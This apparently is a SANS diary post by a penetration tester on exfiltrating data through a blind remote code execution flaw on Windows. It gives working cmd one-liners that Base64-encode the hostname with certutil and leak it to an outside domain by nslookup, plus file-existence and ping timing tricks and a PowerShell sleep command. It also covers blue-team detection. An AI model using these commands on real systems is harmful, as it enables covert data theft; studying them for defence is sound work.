Last Updated: 2018-05-10 09:37:50 UTC
by Bojan Zdrnja (Version: 1)
During a recent penetration test I stumbled upon an interesting setup. A server running a web application, behind a reverse web proxy, that had a blind remote code execution (RCE) vulnerability.
With blind RCE vulnerabilities, an attacker can execute a command but cannot directly see results of the command. Since the goal is to exfiltrate data, in majority of cases this is done through DNS – there are even automated tool that will do that – for example, the Burp Suite Scanner comes with a handy module called Burp Collaborator what will try to exploit blind vulnerabilities by creating special payloads that will result in DNS requests being sent to a domain under PortSwigger’s (Burp creators) control. Once such a DNS request is detected, Burp knows that the exploitation was successful (hint: we cover Burp extensively in the SEC542: Web App Penetration Testing and Ethical Hacking).
Since I was able to run arbitrary commands, and wanted to exfiltrate data, the logical way to do this was through DNS – I could run a command (actually a series of commands) that would perform a DNS lookup against a domain I control, exfiltrating some data.
Now, before we dig into that – there was one small limitation: we were limited to running Windows command prompt commands, so no scripting or mighty PowerShell (which would make some of the steps I will show below much, much easier). That being said, still not a problem – here’s one way to do it:
> cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.infigo.hr && nslookup !FINAL!"
Let us break this command down to figure out what it’s doing:
- We are using cmd with the /v flag - /v enables delayed environment variable expansion using the ! characters. Normally in command prompt we would use % characters for variables (i.e. %variable%). However, if we use that, the command prompt will immediately expand variables so they will be empty. By using the /v flag and ! characters, we make command prompt expand variables later, after previous commands have executed successfully.
- The first part (before the && characters) simply runs the hostname command and redirects output into a file called temp
- Then we use the certutil command to Base64 encode contents of this file. So, if the file’s contents were SANS, certutil command would produce the following file in temp2:
- Since we just want the Base64 encoded string, we use the findstr command to print only lines that do not contain literal text “CERTIFICATE” (the /V flag), and output that into file temp3
- Now we load contents of the temp3 file into variable called MYVAR.
- We append the domain we control into variable called FINAL. You can see that in order to reference variable MYVAR we use !MYVAR! (and not %MYVAR%). This way we make sure that it is expanded during execution.
- Finally we perform nslookup on the final name, the executed command will be as follows:
Keep in mind that we need to be careful about size here – the label should not be longer than 64 characters – if we are exfiltrating something longer, we need to cut data properly (this is left as an exercise to improve your command prompt kung-fu).
- Let’s check our BIND logs:
08-May-2018 22:35:39.344 queries: info: client 126.96.36.199#44662 (U0FOUyANCg==.infigo.hr): view external: query: U0FOUyANCg==.infigo.hr IN A -EDC (10.0.2.4)
Nice! There’s our exfiltration – we just need to take the Base64 encoded string, decode it and we get the contents:
$ echo U0FOUyANCg== | base64 -d
Now, let’s make this a bit more difficult. The server from the beginning of the story was completely isolated. No outgoing traffic was allowed, no DNS queries were allowed. The only way to talk to the server was through HTTPS.
One solution I came up with is to verify if a file exists, and then sleep for certain amount of seconds. This way we could extract one character at a time, identify it and move to the next one.
Here is our first step:
> cmd /v /c "hostname > temp && set /p MYVAR=<temp && set FINAL=!MYVAR:~0,1! && echo . > !FINAL!"
You can probably figure out what this command does: it will populate the MYVAR variable with the hostname and then extract first character into the variable FINAL. Finally (pun intended), it will create a file with the name as in the FINAL variable – in the example above it will be a file called S (from SANS).
Now, in the second request, we check if this file exist (actually we would cycle through all file names), and sleep for couple of seconds with the ping command if it does:
> cmd /v /c "if EXIST S ping 127.0.0.1"
On Windows, the ping command will send 4 packets, so this will take 4 seconds. We now know the first character! Rinse and repeat: change the highlighted character from A-Z to enumerate all possible characters. Finally, we can delete the created file and extract the second character with the following command:
> cmd /v /c "hostname > temp && set /p MYVAR=<temp && set FINAL=!MYVAR:~1,1! && echo . > !FINAL!"
And so on – game over.
This was an example of a bit extreme setup, but found in a real test nevertheless. Of course, if PowerShell or similar scripting language was available, extraction would be even easier, but the goal here was that even in such very isolated and restricted environments, it is still possible to exfiltrate data.
Here’s one very simple example that I think is cute:
> powershell -c "Start-Sleep -Seconds ([byte][char]$env:COMPUTERNAME.ToUpper().Substring(0,1) % 65)"
This will take the first character of the computer name, convert it to upper case, get its ASCII value, divide modulo 65 and use the result as the number of seconds for sleep. So, the command will sleep between 0 and 25 seconds (ASCII 65 to 90 – characters A to Z). Of course, this can be further improved.
Is there anything blue team could do here? Proper monitoring would include process creation – usage of certutil.exe or simply cmd.exe or powershell.exe being spawned by a process that is not explorer.exe should raise a red flag here!
Do you have other exfiltration tricks? Let us know!
PS: I'll be teaching SEC542 at various events in Europe starting from July - let me know if you will be there.